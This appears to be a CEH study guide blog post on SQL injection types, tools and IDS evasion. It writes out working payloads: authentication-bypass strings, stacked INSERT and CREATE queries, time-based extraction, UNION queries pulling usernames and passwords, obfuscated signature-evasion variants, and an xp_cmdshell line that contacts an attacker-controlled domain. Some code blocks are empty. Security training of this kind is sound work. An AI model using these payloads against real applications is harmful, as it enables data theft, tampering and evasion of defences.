CEH-Module15 - SQL Injection
Website Visitors:SQL Injection
SQL injection is a type of cyber attack that targets the SQL (Structured Query Language) databases used to store data in web applications. In an SQL injection attack, an attacker uses malicious SQL code to manipulate the database behind the web application. This can allow the attacker to access, modify, or delete data stored in the database, and in some cases, take control of the entire database server.
SQL injection attacks are typically possible when a web application does not properly validate or sanitize user inputs before incorporating them into SQL queries. Attackers can exploit this vulnerability by inserting SQL code into input fields or URL parameters, tricking the application into executing their malicious SQL code.
SQL injection attacks occur when a malicious user inserts SQL code into an input field on a website or application that is not properly sanitized. For example, let’s say a website has a search bar where users can enter keywords to search for products. If the website directly uses the user’s input to construct an SQL query without validating or sanitizing it, an attacker could input something like this into the search bar:
|
|
You can add any text at the begining like blah' OR 1=1 --
. If this input is used directly in an SQL query without proper validation, the resulting query might look like this:
|
|
In this case, the SQL query will return all rows from the products
table because the condition '1'='1'
is always true. This allows the attacker to bypass any authentication mechanisms and access sensitive information from the database.
You can also run commands like blah';insert into login values ('john','apple123'); --
or blah';create database mydatabase; --
HTTP Post Request
An HTTP POST request is a method used in web development to send data to a server to create or update a resource. It is one of the most commonly used HTTP methods, along with GET, PUT, and DELETE.
When a client (such as a web browser) sends an HTTP POST request to a server, it includes a message body that contains the data being sent. This data can be in various formats, such as JSON, XML, or form data. The POST request is typically used when the data being sent is sensitive, large, or when it needs to be processed and stored on the server.
For example, when you submit a form on a website to create a new account, send a message, or make a purchase, the data you enter is sent to the server using an HTTP POST request. The server then processes the data and responds accordingly, such as creating a new user account or adding an item to your shopping cart.
In summary, HTTP POST requests are used to send data to a server to create or update a resource, and they are an essential part of web development for handling user input and interaction.
Blind And Non-Blind SQL Injection
Blind SQL injection is a type of SQL injection attack where the attacker does not receive direct feedback from the application about the success or failure of the injected SQL code. This makes the exploitation process slower and more challenging compared to traditional (non-blind) SQL injection.
In a blind SQL injection attack, the attacker typically sends a series of SQL queries to the database and analyzes the application’s responses to infer information about the database structure and data. This can involve sending queries that return different responses based on whether certain conditions are true or false, allowing the attacker to gradually construct a picture of the database.
For example, an attacker might use a blind SQL injection attack to determine the length of a database field’s content by sending queries like:
|
|
If the application responds differently (e.g., displays a message or takes longer to respond) depending on whether the condition is true or false, the attacker can iteratively determine the length of the name
field.
Non-blind SQL injection, on the other hand, provides immediate feedback to the attacker. For example, if a login form simply displays an error message saying “Invalid username or password” when a login attempt fails, an attacker can inject SQL code to retrieve data directly. If successful, the application might behave differently, such as redirecting the attacker to a different page or displaying a message indicating success.
In summary, blind SQL injection requires more time and effort from the attacker because they need to infer information indirectly, while non-blind SQL injection provides immediate feedback, making it easier to exploit. Protecting against both types of SQL injection involves using secure coding practices, such as parameterized queries, to prevent malicious input from being interpreted as SQL code.
Error Based SQL Injection
Error-based SQL injection is a type of SQL injection attack that exploits the error messages returned by a database system to obtain information about the structure of the database. This technique involves injecting malicious SQL code into an input field of a vulnerable application, which, when executed, triggers an error message revealing details about the database schema, table names, or even the contents of the database. Error based sql injection is example of non blind sql injection.
Here’s a simple example of an error-based SQL injection attack:
- Suppose we have a vulnerable login form that checks user credentials against a database:
|
|
- An attacker can input a malicious username to trigger an error:
|
|
This input modifies the SQL query to:
|
|
The --
comments out the rest of the original query, and 1=1
is always true, so the query returns all rows from the users
table. If the application is vulnerable, it might display an error message like “Incorrect syntax near ‘–’.”
- The attacker can use the error message to infer details about the database structure and content, allowing them to further refine their attack.
It’s important to note that error-based SQL injection attacks can be prevented by using parameterized queries or prepared statements, which separate the SQL query logic from the user input, making it impossible for an attacker to inject malicious SQL code.
Blind/Inferential SQL Injection
Blind SQL injection, also known as inferential SQL injection, is a type of SQL injection attack where the attacker is able to send SQL queries to the database and infer information based on the application’s response. Unlike traditional SQL injection, where the attacker can directly see the results of the injected SQL query, blind SQL injection requires the attacker to infer information based on differences in the application’s behavior.
There are two main types of blind SQL injection:
-
Boolean-based blind SQL injection: In this type of attack, the attacker sends SQL queries that force the application to return a different response depending on whether the injected condition is true or false. For example, the attacker might inject a condition like
AND 1=1
and observe if the application responds differently compared to when the condition isAND 1=2
. By iteratively guessing characters or conditions and observing the application’s responses, the attacker can gradually extract information from the database. -
Time-based blind SQL injection: In this type of attack, the attacker sends SQL queries that cause the application to delay its response if the injected condition is true. For example, the attacker might inject a condition like
AND SLEEP(5)
and observe if the application takes longer to respond. By manipulating the injected conditions and observing the application’s response times, the attacker can infer information about the database.
Blind SQL injection attacks can be more difficult to carry out compared to traditional SQL injection, but they can still be very effective if the attacker is patient and can carefully analyze the application’s responses. Protecting against blind SQL injection involves using secure coding practices, such as parameterized queries, to prevent malicious input from being interpreted as SQL code, and implementing strict input validation and sanitization.
In case of any error, your application should only display generic text like “Incorrect username or password. Contact your System Administrator.” etc.. but it should not display any backend database details like ODBC error, username password wrong in /sql/login.asp, ,line 5
No Error Message: When a web application is vulnerable to sql injection, the results of the injection are not visible to attacker.
Generic Page: When a SQL injection is applied, a generic custom page is displayed to attacker instead of showing useful error message.
Wait For Delay: In a “wait for delay” SQL injection attack, the attacker exploits the SQL server’s functionality to introduce a delay in query execution. This technique is often used in time-based blind SQL injection attacks, where the attacker wants to infer information from the database based on the time it takes for the server to respond.
For example, check if first character is A, wait for 10 seconds, and check if the first character is B and so on.. in usernames. Same goes for db names as well.
`’;IF (LEN(USER)=3) waitfor delay ‘0:0:5’–
How would attackers know if the username length is 3 characters or 4 or more? They run commands like given above. If the username length is 3 characters, it waits for 5 seconds and then shows the error message. So they know the username length is 3 characters.
Similarly, they run same logic on database name characters length `’;IF (LEN(DB_NAME())=3) waitfor delay ‘0:0:5’–
Test the database name length of characters to 1,2,3, and so on.. somewhere attackers will get 5 seconds pause. That is the length of databsae name.
Next, they perform the same on username characters as well. `;IF (ASCII(LOWER(SUBSTRING((USER),1,1)))=98) waitfor delay ‘0:0:5’–
98 is ASCII value for a, 99 is ascii value for b.
First get the length and then get the values character by character.
Using reg expressions they can also speed up the search by quering if the first character is between a and f etc..
Attackers can also create DB users, and run OS commands and save it to a html file and navigate to it, and see the results.
Out-of-Band SQL Injection
Out-of-band (OOB) SQL injection is an advanced technique used when a web application’s server-side technology supports features that allow interaction with external systems, such as DNS or HTTP requests. Unlike traditional SQL injection, which relies on the application’s response to infer information about the database, OOB SQL injection does not require the attacker to receive the database’s response directly.
Here’s how OOB SQL injection works:
-
Identify a vulnerable parameter: Find a parameter in the application that is vulnerable to SQL injection.
-
Craft the payload: Inject SQL code that triggers an out-of-band interaction. For example, in Microsoft SQL Server, the
xp_cmdshell
stored procedure can be used to execute shell commands. The injected payload might look like'; exec xp_cmdshell('nslookup attacker-controlled-domain.com');--
. -
Trigger the interaction: Send the request to the server with the injected payload. The SQL server will execute the injected code, which in this example, performs a DNS lookup to the attacker-controlled domain.
-
Receive the interaction: The attacker monitors the external system (e.g., DNS server logs or a web server) to capture the interaction triggered by the injected SQL code. This allows the attacker to extract information from the database indirectly.
Out-of-band SQL injection can be more challenging to exploit compared to traditional SQL injection, as it requires knowledge of the target environment and the ability to interact with external systems. However, it can be a powerful technique in situations where traditional SQL injection is not feasible due to restrictions on the application’s response.
Extracting information using Error messages
Extracting information through error messages is a common technique used in SQL injection attacks to gather details about the database structure and contents. When an injected SQL query causes an error, the database server often returns an error message that can be informative to the attacker. This technique is particularly useful in scenarios where the application does not display the query results directly.
Here’s a basic outline of how an attacker might use error-based SQL injection to extract information:
-
Identify a vulnerable parameter: Find a parameter in the application that is vulnerable to SQL injection.
-
Craft the payload: Inject SQL code that is designed to cause an error and reveal information. For example, the attacker might use a payload like
' OR 1=1 AND 1=CONVERT(int,(SELECT @@version));--
. -
Submit the request: Send the request to the server with the injected payload.
-
Observe the error message: If the injection is successful, the database server will throw an error, and the error message may contain valuable information, such as the database type and version (
@@version
), table names, or other details. -
Iterate and extract information: By crafting different payloads and observing the error messages, the attacker can gradually extract information about the database schema and contents.
It’s important to note that while error-based SQL injection can be effective for extracting information, it can also be disruptive to the application and may not work in all scenarios. Additionally, applications should be configured to suppress detailed error messages in production environments to minimize the risk of SQL injection attacks.
Union SQL Injection
Union-based SQL injection is a type of SQL injection attack that leverages the SQL UNION
operator to combine the result sets of two or more SELECT statements into a single result set. This attack is typically used to retrieve information from the database that the attacker is not authorized to access.
Here’s a basic outline of how a union-based SQL injection attack works:
-
Identify a vulnerable parameter: Find a parameter in the application that is vulnerable to SQL injection.
-
Determine the number of columns: Inject a UNION SELECT statement with a different number of columns than the original query and increment the number until the query is successful. For example, the injected payload might look like
' UNION SELECT 1,2,3--
. -
Identify the vulnerable columns: Once the correct number of columns is determined, identify which columns can be used to retrieve information. This may require guessing or using techniques to infer column types.
-
Craft the payload: Inject a UNION SELECT statement with the desired columns to retrieve the information. For example, to retrieve the username and password hashes from a
users
table, the injected payload might look like' UNION SELECT username, password FROM users--
. -
Submit the request: Send the request to the server with the injected payload.
-
Retrieve the information: If the injection is successful, the application will return the results of the injected query, allowing the attacker to retrieve sensitive information from the database.
It’s important to note that union-based SQL injection attacks can be mitigated by using parameterized queries or prepared statements, which separate the SQL query logic from user input, making it impossible for an attacker to inject malicious SQL code. Additionally, input validation and sanitization should be used to prevent SQL injection vulnerabilities.
Finding and Bypassing Admin Panel of a Website
Attackers try to find admin panels of websites using Google dorks and bypass the administrator authentication using sql injection attack.
Commonly used malicious inputs by attackers:
-
` or 1=1–
-
1
or
1=
1 -
admin’–
-
" or 0=0 –
-
or 0=0 –
-
` or 0=0 #
-
" or 0=0 #
-
or 0=0 #
SQLMap
SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. It is designed to identify and exploit various types of SQL injection flaws, such as blind SQL injection, error-based SQL injection, and union-based SQL injection.
Here’s how SQLmap works and some of its key features:
-
Detection: SQLmap can automatically detect SQL injection vulnerabilities in a target web application by analyzing the responses from the application and performing various tests to determine if the application is vulnerable.
-
Exploitation: Once a vulnerability is detected, SQLmap can exploit it to extract information from the database, such as database schema, tables, and data. It can also be used to execute arbitrary SQL queries on the database.
-
Enumeration: SQLmap can enumerate the database to retrieve information about the database structure, such as table names, column names, and data types.
-
Dumping: SQLmap can dump the contents of database tables, allowing an attacker to extract sensitive information, such as usernames, passwords, and other data stored in the database.
-
Advanced Features: SQLmap offers a range of advanced features, such as tampering with requests to bypass WAFs (Web Application Firewalls), exploiting second-order SQL injection vulnerabilities, and using various techniques to evade detection.
It’s important to note that SQLmap should only be used against web applications that you have permission to test, as using it against unauthorized targets is illegal and unethical. Additionally, using SQLmap against production systems can cause disruptions and should be done with caution.
Commands:
Login to the sql injection vulnerable website and right click on the page after login and select inspect element. Next select console and type document.cookie. It will display the cookie value.
|
|
You can also use other SQL injection tools such as Mole (https://sourceforge.net), Blisqy (https://github.com), blind-sql-bitshifting (https://github.com), and NoSQLMap (https://github.com) to perform SQL injection attacks.
Mole
Mole is a SQL injection detection and exploitation tool used in cybersecurity. It is designed to automate the process of identifying and exploiting SQL injection vulnerabilities in web applications. Mole is written in Python and provides a command-line interface for interacting with the tool.
Key features of Mole include:
-
Detection: Mole can scan web applications to identify SQL injection vulnerabilities. It analyzes web application inputs to detect potential injection points and attempts to exploit them to verify the vulnerability.
-
Exploitation: Once a SQL injection vulnerability is identified, Mole can be used to exploit the vulnerability to extract information from the database, such as database schema, tables, and data. It can also be used to execute arbitrary SQL queries on the database.
-
Enumeration: Mole can enumerate the database to retrieve information about the database structure, such as table names, column names, and data types.
-
Automation: Mole is designed to automate the process of detecting and exploiting SQL injection vulnerabilities, making it easier for security professionals to identify and mitigate these vulnerabilities in web applications.
-
Customization: Mole provides options for customizing the exploitation process, such as specifying the type of SQL injection technique to use and the payload to inject.
It’s important to note that Mole, like other SQL injection tools, should only be used against web applications that you have permission to test. Using such tools against unauthorized targets is illegal and unethical. Additionally, using Mole against production systems can cause disruptions and should be done with caution.
Evading IDS
Evading Intrusion Detection Systems (IDS) in SQL injection attacks involves techniques to bypass or avoid detection by IDS mechanisms. Here are some common methods used to evade IDS in SQL injection attacks:
-
Obfuscation: Use techniques to obfuscate SQL injection payloads to make them less recognizable to IDS. This can include encoding the payload or breaking it into multiple parts to avoid detection.
-
Delaying Techniques: Introduce delays in the SQL injection payload to evade IDS detection. This can include using functions like
SLEEP
in the payload to delay the execution of the attack. -
Use of White Space: Insert white spaces or comments in the payload to bypass IDS signatures that may be looking for specific patterns.
-
Fragmentation: Break the SQL injection payload into smaller fragments and send them separately to avoid triggering IDS signatures that look for complete malicious payloads.
-
Hexadecimal Encoding: Encode the SQL injection payload in hexadecimal format to evade detection by IDS that may be looking for plain text patterns.
-
Use of HTTPS: Use HTTPS to encrypt the communication between the attacker and the target, making it harder for IDS to inspect and detect malicious payloads.
-
Randomization: Randomize the SQL injection payloads or use different variations of payloads to evade IDS that rely on specific signatures.
It’s important to note that while these evasion techniques may help evade some IDS mechanisms, they are not foolproof. Security best practices, such as input validation, using parameterized queries, and regular security audits, should be followed to prevent SQL injection attacks.
On the other hand, IDS’s signature based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings against the signature database during runtime to detect attacks.
Types of Signature Evasion Techniques
-
In-line Comment: Obscures input strings by inserting in-line comments between SQL keywords. Attackers use code like
'/**/UNION/**/SELECT/**/password/**/From/**/Users/**/Where/**/username/**/like/**/'admin'--
. IDS might have rules like if the input pattern isunion select password from users where username like admin
. But as there are /* and / in the input, IDS wont drop it. But when the server received it, in SQL,/*
and*/
are in-line comments. So the SQL server removes them and executes the command. Same above command can also be further written as:'/**/UN/**/ION/**/SEL/**/ECT/**/pass/**/word/**/From/**/Users/**/Where/**/user/**/name/**/like/**/'admin'--
- with as many / and */ as needed. -
Char Encoding: Uses the built-in CHAR function to represent a character. Instead of sending the command like /etc/passwd, attackers can send ascii coding numbers for the characters. IDS looks for the text /etc/passwd but you ll have numbers in that place but they are ascii code for the actual characters so IDS doesn’t drop them.
-
String Concatenation: Concatenates text to create an SQL keyword using DB specific instructions. Example: `;Execute concat(‘INS’,‘ERT’, ’ IN’, ‘To’) and so on.. at the receiving end, all the command is combined and executed.
-
Obfuscated Codes: Obfuscated code against SQL statement that has been made difficult to understand
-
Manipulating White Spaces: Obscures input strings by dropping white space between the SQL keywords. In IDS, signature for “UNION SELECT”" is different from “UNION SELECT”. so Hackers use multiple white spaces in the input so that it is untraceable in IDS.
-
Hex Encoding: Uses hexadecimal encoding to represent an SQL query string
-
Variations: Uses the WHERE statement that always evaluates to ’true,’ so that any mathematical or string comparison can be used
-
Sophisticated Matches: Uses alternative expression of ”OR 1=1”
SQL Injection Characters
’ or " character String Indicators
– or # single-line comment
/../ multiple-line comment
+
addition, concatenate (or space in URL)|| (double pipe) concatenate
Evading ‘OR 1=1 signature
‘OR ‘john’ = ‘john’
‘OR ‘microsoft’ = ‘micro’+‘soft
‘OR ‘movies’ = N’movies’
‘OR ‘software’ like ‘soft%’
‘OR 7 > 1
‘OR ‘best’ > ‘b’
‘OR ‘whatever’ IN (‘whatever’)
‘OR 5 BETWEEN 1 AND 7
-
URL Encoding: Obscure input string by adding percent sign ‘%’ before each code point
-
Null Byte: Uses the null byte (%00) character prior to a string in order to bypass the detection mechanism. “Union select user_id,password” can be written as
%00 union select user_id,password
-
Case Variation: Obfuscate an SQL statement by mixing it with uppercase and lowercase letters. If IDS filter is designed to block “union select user_id, password from table” or “UNION SELECT USER_ID, PASSWORD”, hackers will write the code as “UnIOn SeleCT User_ID,passWOrd” so that IDS wont block it.
-
Declare Variables: Uses variables that can be used to pass a series of specially crafted SQL statements and bypass the detection mechanism
-
IP Fragmentation: Uses packet fragments to obscure an attack payload which goes undetected by the signature mechanism.
Detect SQL Injection Vulnerabilities using DSSS
DSSS, or Damn Small SQLi Scanner, is a tool used for detecting SQL injection vulnerabilities in web applications. It is designed to be lightweight and easy to use, making it a popular choice among security professionals and penetration testers.
The main purpose of DSSS is to automate the process of finding SQL injection vulnerabilities in a target website. It does this by sending specially crafted SQL queries to the target site and analyzing the responses for signs of vulnerability. When DSSS detects a potential vulnerability, it can provide detailed information about the vulnerability, including the type of injection and the vulnerable parameter.
One of the key features of DSSS is its ability to detect blind SQL injection vulnerabilities. Blind SQL injection is a type of injection attack where the application does not provide direct feedback to the attacker, making it more difficult to detect. DSSS uses various techniques to infer the presence of blind SQL injection vulnerabilities, such as time-based delays in the server’s response.
Ex: python3 dsss.py -u “http://example.com” –cookie=“sessionid=xxxx”
In this command, -u specifies the target URL and –cookie specifies the HTTP cookie header value. You can get the cookie value from console in inspect element after you login to the website you want to scan.
In real life, attackers use blind SQL injection to access or destroy sensitive data. Attackers can steal data by asking a series of true or false questions through SQL statements. The results of the injection are not visible to the attacker. This type of attack can become time-intensive, because the database must generate a new statement for each newly recovered bit.
Detect SQL Injection Vulnerabilities using OWASP ZAP
OWASP ZAP (Zed Attack Proxy) is a popular open-source web application security testing tool used for finding security vulnerabilities in web applications. It helps developers and security professionals identify and fix issues such as cross-site scripting (XSS), SQL injection, and other security flaws. ZAP can be used for both manual and automated security testing and is a valuable tool in ensuring the security of web applications.
Run an automated scan in owasp zap. Once done, in the alerts section you will find sql injection tab. Click on the url. You will see the attack as 'ZAP' or 1=1 --
.
Your inbox needs more DevOps articles.
Subscribe to get our latest content by email.